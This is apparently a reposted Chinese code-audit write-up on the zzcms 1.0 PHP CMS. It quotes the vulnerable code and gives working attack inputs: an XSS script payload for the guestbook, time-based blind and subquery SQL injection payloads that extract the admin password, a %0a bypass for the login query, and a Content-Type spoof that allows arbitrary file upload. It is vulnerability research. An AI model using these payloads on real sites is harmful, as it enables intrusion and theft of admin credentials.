zzcms1.0代码审计
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了zzcms1.0代码审计相关的知识,希望对你有一定的参考价值。
链接:http://pan.baidu.com/s/1hsy0XNm 密码:kdxh
一个处处是洞的cms
首先include/glob.php 虽然写了全局的转义 但是并没卵用
include_once("ZC_Article.php"); include_once("ZC_Pro.php"); include_once("ZC_Link.php"); include_once("ZC_About.php"); include_once("ZC_Book.php"); include_once("ZC_Down.php"); include_once("ZC_Upload.php"); include_once("ZC_Cache.php"); if($_REQUEST){ if(get_magic_quotes_gpc()){ $_REQUEST = zc_strip($_REQUEST); }else{ $_POST = zc_check($_POST); $_GET = zc_check($_GET); @extract($_POST); @extract($_GET); } $_REQUEST=filter_xss($_REQUEST, ZZCMS_TAGS); @extract($_REQUEST); }
前台后台基本上所有跟数据库交互的地方都能注入
Pro_Show.php?id=1
/About.php?id=1
Download.php?id=1
代码就不展示了
XSS
function add_book(){ global $db; $_POST[email protected]extract(zc_strip($_POST)):NULL; ///if($vercode!=$_SESSION[‘ver_code‘]){ // showmsg("验证码错误!"); //} unset($_SESSION[‘ver_code‘]); $time=time(); $ip=$_SERVER[‘REMOTE_ADDR‘]; $sql="insert into `".PRE."book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘".$title."‘,‘".$name."‘,‘".$qq."‘,‘".$url."‘,‘".$email."‘,‘".$content."‘,‘".$time."‘,‘".$ip."‘)"; $db->query($sql) or die(showmsg("添加留言失败")); showmsg("添加留言成功!","Book.php"); } }
添加留言处没有任何过滤
payload </td><script>alert(/xss/);</script>
因为前面转义不管用 可以闭合来搞注入
但是他没有写die(mysql_error())
就没法闭合来报错注入了
但是可以通过insert的时间盲注来搞...如果有耐心的话或者能自动识别验证码跑脚本的话 还是可以搞出来的
payload
insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and If(1=1,sleep(5),sleep(0)),‘39.64.115.55‘);
第二种payload
insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and (select case when (select 1=1) then sleep(6) else sleep(0) end ) ,‘39.64.115.55‘);
第三种payload
insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,(select password from zzcms_admin limit 0,1),‘1500565966‘ ,‘39.64.115.55‘);
第三种构造好后
content是管理员密码 如果管理员回复的话可在前台看到
后台登入处
$name=str_replace(" ","",$name); $sql="select * from `".PRE."admin` where `name`=‘$name‘";
可逻辑可盲注替换了空格 可以用%0a代替
后台任意上传的地方
public $allow_type=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘,‘image/pjpeg‘,‘image/gif‘,‘image/bmp‘,‘image/x-png‘);
只验证了Content-Type: image/jpeg 任意后缀可上传
以上是关于zzcms1.0代码审计的主要内容,如果未能解决你的问题,请参考以下文章